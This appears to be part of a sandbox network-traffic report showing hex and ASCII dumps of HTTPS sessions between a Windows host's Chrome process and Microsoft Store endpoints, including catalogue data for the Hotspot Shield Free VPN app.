2022-06-08 07:57:02 UTC 9629 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-06-08 07:57:02 UTC 9644 IN Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 
23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 
61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 
a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 
07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 
33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f 
e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 
Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>
7Go?j=

2022-06-08 07:57:02 UTC 9660 IN Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 
52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 
33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 
31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 3
1 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 0
3 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 
2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 
Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0|10UUS10
UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

119 192.168.2.3 49847 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:02 UTC 9628 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165636Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:02 UTC 9664 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 902fe990-61ce-4572-a764-141d42588d83
Date: Wed, 08 Jun 2022 07:57:02 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

12 192.168.2.3 49716 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:54 UTC 144 OUT GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-
65c437755b78?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:54 UTC 145 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5777
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:54 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTJCQjJGM0E"
MS-CV: sE5KrZztTESl/Nvr.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:54 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:54 UTC 145 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
16 58 49 44 41 54 78 da ed 9d 0b 98 14 d5 95 c7 4f 55 77 cf 7b 98 27 30 03 0c 32 c0 3c 18 90 a7 02 22 2a 88 1a 5f 49 4c 
76 e5 e9 aa c9 ae df ba 8b 49 24 a2 0b 7c 01 8c 51 3f 13 35 2a 2a ba 26 ab 44 57 d7 90 20 a0 e8 b2 20 a2 2c a0 3c 8d 
b0 40 90 37 01 86 d7 cc 30 d3 33 d3 ef 5b 5b 55 53 d5 73 eb d6 bd 55 d5 f8 98 ae ee 7b f9 ee d7 5d d3 35 35 dd 75 7f fd 
3f ff 73 4e 75 23 02 1f 7c 5c c4 10 f9 29 e0 83 83 c3 07 07 87 0f 0e 0e 1f 1c 1c 3e f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 
0f 0e 0e 1f 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 3e 38 38 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 3e 04 9b 
c9 c1 e1 83 0a ca d7 bd 3f 07 27 45 61 f9 ba 8e c5 c1 49 
Data Ascii: PNGIHDR0XIDATxOUw{'02<"*_ILvI$|Q?5**&DW  ,<@703[[USsU{]55u?sNu#|\)>|pp>88|pp>?'EaI
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

120 192.168.2.3 49848 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:03 UTC 9664 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165636Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:03 UTC 9664 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 0276c136-f0ba-4290-8e35-a20fa6d20df3
Date: Wed, 08 Jun 2022 07:57:03 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

121 192.168.2.3 49849 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:03 UTC 9665 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=6F71D7A7.HotspotShieldFreeVPN_nsbqstbb
9qxb6&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&
scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 5KCV/ucurkKWj1DM.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:57:03 UTC 9665 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:57:03 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 8562d61e-baf5-4469-b827-64a7192d21c8
MS-RequestId: caaca99d-9abe-4916-a0a8-7c7af852d070
MS-CV: 5KCV/ucurkKWj1DM.0.2.4.1227127224.0.1.1227127224.0.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-qtv8h
Region: neu
Node: aks-bigcatrpns-32351330-vmss00001b
MS-DocumentVersions: 9WZDNCRDFNG7|3734

2022-06-08 07:57:03 UTC 9666 IN Data Raw: 62 66 31 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 44 46 4e 47 37 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 32 37 54 32 31 3a 32 36 3a 30 31 2e 32 32 30 37 33 32 
35 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 37 35 35 37 30 30 32 39 37 33 
30 31 31 35 32 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 33 31 38 33 37 22 2c 
Data Ascii: bf1c{"BigIds":["9WZDNCRDFNG7"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-27T21
:26:01.2207325Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3067557002973011520","EISListingIdentifier
":null,"BackgroundColor":"#031837",

2022-06-08 07:57:03 UTC 9669 IN Data Raw: 2d 38 34 65 30 2d 65 34 34 38 37 38 37 65 39 37 32 65 2e 37 33 35 61 62 39 30 64 2d 35 38 31 37 2d 34 35 
36 38 2d 39 64 62 64 2d 31 65 31 31 61 66 33 62 62 61 39 31 22 2c 22 57 69 64 74 68 22 3a 32 31 36 30 7d 2c 7b 22 46 
69 6c 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 35 36 35 36 39 38 34 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 
67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 33 
31 38 33 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 
37 35 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 
6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 
Data Ascii: -84e0-e448787e972e.735ab90d-5817-4568-9dbd-1e11af3bba91","Width":2160},{"FileId":"2000000000056569
843","EISListingIdentifier":null,"BackgroundColor":"#031837","Caption":"","FileSizeInBytes":12751,"ForegroundColor":"","
Height":300,"ImagePositionInfo":"","I
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2022-06-08 07:57:03 UTC 9673 IN Data Raw: 72 5c 6e 5c 72 5c 6e 48 6f 74 73 70 6f 74 20 53 68 69 65 6c 64 20 56 50 4e 20 50 72 65 6d 69 75 6d 20 73 65 
72 76 69 63 65 20 69 6e 63 6c 75 64 65 73 3a 5c 72 5c 6e 5c 72 5c 6e 2d 20 37 2d 64 61 79 20 66 72 65 65 20 74 72 69 
61 6c 3a 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 3b 20 6e 6f 20 63 6f 6d 6d 69 74 6d 65 6e 74 3b 20 63 61 6e 63 65 
6c 20 61 6e 79 74 69 6d 65 2e 5c 72 5c 6e 2d 20 50 61 79 6d 65 6e 74 20 77 69 6c 6c 20 62 65 20 63 68 61 72 67 65 64 
20 74 6f 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 53 74 6f 72 65 20 61 63 63 6f 75 6e 74 20 61 74 20 63 6f 6e 66 
69 72 6d 61 74 69 6f 6e 20 6f 66 20 70 75 72 63 68 61 73 65 2e 5c 72 5c 6e 2d 20 53 75 62 73 63 72 69 70 74 69 6f 6e 2
0 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 72 65 6e 65 77 73 20 
Data Ascii: r\n\r\nHotspot Shield VPN Premium service includes:\r\n\r\n- 7-day free trial: free of charge; no commitment; 
cancel anytime.\r\n- Payment will be charged to your Microsoft Store account at confirmation of purchase.\r\n- Subscri
ption automatically renews 

2022-06-08 07:57:03 UTC 9677 IN Data Raw: 72 6f 64 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 56 61 6c 69 64 61 74 69 6f 
6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 52 65 76 69 73 
69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 34 2d 32 37 54 32 31 3a 32 36 3a 35 39 2e 33 39 32 38 31 31 36 5a 7c 7c 2e 
7c 7c 62 33 36 63 63 35 34 61 2d 36 66 32 65 2d 34 32 61 62 2d 61 37 62 37 2d 35 32 30 62 61 64 33 62 65 66 30 66 7c 
7c 31 31 35 32 39 32 31 35 30 35 36 39 34 33 38 30 31 37 39 7c 7c 4e 75 6c 6c 7c 7c 66 75 6c 6c 72 65 6c 65 61 73 65 
22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 55 72 69 22 3a 22 22 7d 2c 22 4d 65 72 63 68 61 6e 64 69 7a 
69 6e 67 54 61 67 73 22 3a 5b 5d 2c 22 50 61 72 74 44 22 3a 22 22 2c 22 
Data Ascii: roductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-04-27T21:2
6:59.3928116Z||.||b36cc54a-6f2e-42ab-a7b7-520bad3bef0f||1152921505694380179||Null||fullrelease","ValidationRes
ultUri":""},"MerchandizingTags":[],"PartD":"","

2022-06-08 07:57:03 UTC 9681 IN Data Raw: 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 
2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 
22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 
4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c 22 4d 4d 22 2c 22 4e 41 22 2c 22 4e 52 22 2c 22 4
e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 2c 22 4e 45 22 2c 22 4e 55 22 2c 22 4e 46 22 2c 22 
50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 
22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 
Data Ascii: ","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","
MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","
PG","PY","RE","RW","BL","MF","WS","ST","SN","MP

2022-06-08 07:57:03 UTC 9685 IN Data Raw: 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 
4e 43 52 44 46 4e 47 37 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 63 65 30 33 61 36 62 32 2d 33 36 36 64 2d 34 
33 64 34 2d 38 35 61 34 2d 30 37 33 65 63 65 39 61 63 61 36 39 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 
61 37 36 30 37 33 30 66 2d 66 37 37 31 2d 34 64 33 66 2d 62 65 34 36 2d 66 61 66 62 65 31 35 66 62 39 37 65 22 2c 22 
50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 
65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 
22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 
Data Ascii: "FulfillmentData":{"ProductId":"9WZDNCRDFNG7","WuBundleId":"ce03a6b2-366d-43d4-85a4-073ece9aca69",
"WuCategoryId":"a760730f-f771-4d3f-be46-fafbe15fb97e","PackageFamilyName":"6F71D7A7.HotspotShieldFre
eVPN_nsbqstbb9qxb6","SkuId":"0010","Content":null,"Packag

2022-06-08 07:57:03 UTC 9689 IN Data Raw: 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 32 
31 34 32 37 39 34 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 35 30 33 39 37 31 38 34 
2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 
61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 7
1 73 74 62 62 39 71 78 62 36 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 
22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 
70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 
Data Ascii: eIds":[],"MaxDownloadSizeInBytes":22142794,"MaxInstallSizeInBytes":50397184,"PackageFormat":"Msix"
,"PackageFamilyName":"6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6","MainPackageFamilyNameForDlc":nul
l,"PackageFullName":"6F71D7A7.HotspotShieldFreeVPN_2.10.5

2022-06-08 07:57:03 UTC 9693 IN Data Raw: 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 
73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 
6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 
34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 
22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 
2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 
3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 
Data Ascii: ame":"Windows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"},
{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.8828080"}]},"EndDate":"9998-12-30T00:00:00.00
00000Z","ResourceSetIds":["1"],"StartDate":"175

2022-06-08 07:57:03 UTC 9697 IN Data Raw: 73 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 ba 20 42 52 4f 57 53 45 20 53 45 43 55 52 45 4c 59 5c 72 5c 6e 53 74 61 
79 20 73 65 63 75 72 65 20 77 69 74 68 20 6d 69 6c 69 74 61 72 79 2d 67 72 61 64 65 20 65 6e 63 72 79 70 74 65 64 20 
74 72 61 66 66 69 63 20 62 65 74 77 65 65 6e 20 79 6f 75 72 20 64 65 76 69 63 65 20 61 6e 64 20 6f 75 72 20 73 65 72 
76 65 72 73 20 77 68 69 6c 65 20 63 6f 6e 6e 65 63 74 65 64 20 77 69 74 68 20 48 6f 74 73 70 6f 74 20 53 68 69 65 6c 64 
20 56 50 4e 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 ba 20 53 54 41 59 20 50 52 49 56 41 54 45 5c 72 5c 6e 59 6f 75 72 20 70 7
2 69 76 61 63 79 20 69 73 20 6f 75 72 20 6d 69 73 73 69 6f 6e 2e 20 43 6f 6e 6e 65 63 74 20 74 6f 20 61 6e 79 20 6f 66 2
0 6f 75 72 20 72 65 6c 69 61 62 6c 65 20 56 50 4e 20 73 65 72 76 
Data Ascii: s.\r\n\r\n BROWSE SECURELY\r\nStay secure with military-grade encrypted traffic between your device and 
our servers while connected with Hotspot Shield VPN.\r\n\r\n STAY PRIVATE\r\nYour privacy is our mission. Connect to 
any of our reliable VPN serv

2022-06-08 07:57:03 UTC 9701 IN Data Raw: 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 34 39 37 36 32 33 30 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 
6d 61 74 22 3a 22 45 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 
37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2
c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 
6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 
65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 61 72 6d 5f 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 50 61 63 
6b 61 67 65 49 64 22 3a 22 33 35 64 34 65 65 63 61 2d 33 61 31 34 2d 
Data Ascii: llSizeInBytes":49762304,"PackageFormat":"EMsix","PackageFamilyName":"6F71D7A7.HotspotShieldFreeVPN
_nsbqstbb9qxb6","MainPackageFamilyNameForDlc":null,"PackageFullName":"6F71D7A7.HotspotShieldFreeVPN_
2.10.5.70_arm__nsbqstbb9qxb6","PackageId":"35d4eeca-3a14-

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:57:03 UTC 9705 IN Data Raw: 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 
65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 
64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 78 38 36 5f 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 5c 22 2c 
5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 64 30 64 30 63 66 35 2d 66 32 32 62 2d 34 
37 36 31 2d 61 62 65 65 2d 66 37 30 66 38 30 34 62 37 30 61 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 7
4 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 
65 64 5c 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 
Data Ascii: 6336,\"content.isMain\":false,\"content.packageId\":\"6F71D7A7.HotspotShieldFreeVPN_2.10.5.70_x86_
_nsbqstbb9qxb6\",\"content.productId\":\"9d0d0cf5-f22b-4761-abee-f70f804b70ab\",\"content.targetPlatforms\":[{\"platform
.maxVersionTested\":2814750970478592,

2022-06-08 07:57:03 UTC 9709 IN Data Raw: 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 
70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 
73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 
76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5
c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 
49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 
Data Ascii: se},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\
":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"s
ystemId

2022-06-08 07:57:03 UTC 9713 IN Data Raw: 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 
61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 
